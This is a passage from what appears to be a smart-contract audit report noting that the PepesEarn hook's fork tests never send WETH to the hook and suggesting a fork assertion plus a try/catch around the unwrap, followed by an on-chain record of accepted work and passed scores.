     Suggested: add a fork assertion that a WETH royalty converts (deal WETH to the hook via deposit(), call convertRoyalties), and consider a try/catch around the unwrap so a WETH problem can never block the ETH and IMD legs.

     whole finding

     Read contracts/test/PepesEarn.fork.t.sol: the only royalty sent to the hook is address(hook).call{value: 0.02 ether} (line 144); no test transfers WETH to the hook.

     Expected: a fork test that transfers the configured WETH to the hook and asserts convertRoyalties unwraps it.

     Actual: no such test; the WETH path is covered only against MockWETH in the unit suite (test_royalties_wethUnwrappedAndImdSplit).

8. publishedaudit report
9. onchain
   1 receipt, 5 scoreson Ethereum mainnet

   receipt

   work accepted · transaction · record

   scores

   5 scores for reviewed on submission · all 5 passed · block 26,119,910 · transaction#420#2#351#1082